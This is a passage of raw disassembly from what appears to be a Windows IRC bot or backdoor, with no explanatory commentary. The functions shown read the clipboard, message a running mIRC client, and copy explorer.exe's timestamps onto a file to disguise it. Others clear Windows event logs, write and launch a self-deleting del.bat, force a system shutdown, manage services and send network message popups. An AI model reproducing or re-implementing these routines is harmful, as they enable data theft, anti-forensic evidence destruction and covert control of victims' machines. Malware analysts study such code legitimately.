; sub_401ACD+C0Dp ...
Src = dword ptr 8
SubStr = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Src]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+Source], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi ; Src
call __strdup
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Source] ; Str
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4184CC(char *Str,int)
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; sub_410BFD+F4p
Dst = dword ptr -7D0h
var_7CC = byte ptr -7CCh
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+Dst], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+Dst]
push 7D0h ; Size
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4185D3(char *Str,int)
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; sub_415E4B+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+Str]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax ; C
mov [ebp+var_8], edx
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+Str]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_427094 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_427164 ; FormatMessageA
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset byte_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4 ; OpenClipboard
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
call ds:dword_42716C ; GlobalLock
push esi
mov edi, eax
call ds:dword_427168 ; GlobalUnlock
call dword_4CBA28 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41875E(char *Format)
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
Format = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_427178 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_427174 ; MapViewOfFile
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30 ; SendMessageA
push ebx
call ds:dword_427170 ; UnmapViewOfFile
push edi
call ds:dword_427070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: WinMain(x,x,x,x)+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_427180 ; GetFileTime
push ebx
mov ebx, ds:dword_427070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_42717C ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; sub_4167A0+472p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi ; Str
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_4270B8 ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_4270F0 ; WriteFile
push edi
call ds:dword_427070 ; CloseHandle
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_58]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_4270A4 ; GetModuleHandleA
push eax
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_42709C ; SetFileAttributesA
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_427184 ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_427074 ; CreateProcessA
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418A2E(int,char *Str,int,int,int)
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
Dest = byte ptr -294h
Dst = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
mov [ebp+Dst], 94h
push eax
call ds:dword_4270D0 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954 ; OpenEventLogA
push edi
push eax
call dword_4CB964 ; ClearEventLogA
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset asc_4394FC ; "-"
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+Dest]
push offset asc_4394A4 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418AF1(char *Source,int,int)
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
Dest = word ptr -1C0h
var_15C = byte ptr -15Ch
Str = word ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4270D0 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_4270C0 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_4270C4 ; GetProcAddress
push 32h ; MaxCount
mov edi, eax
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+var_15C]
push [ebp+arg_4] ; Source
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
lea eax, [ebp+Str]
push [ebp+arg_8] ; Source
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
shl eax, 1
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call ds:dword_427144 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
; sub_40F0F1+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_4276E0
call __ftol
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset asc_439630 ; "-"
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset byte_4DBA40
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset byte_4DBA40
push off_439518[eax*4]
push offset asc_4395E0 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C ; ControlService
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8 ; StartServiceA
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920 ; DeleteService
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC ; CloseServiceHandle
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC ; CloseServiceHandle
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_418E96[ecx]
jmp ds:off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: .text:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset byte_4DB380 ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset byte_4DB380 ; Dest
call _sprintf
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset byte_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
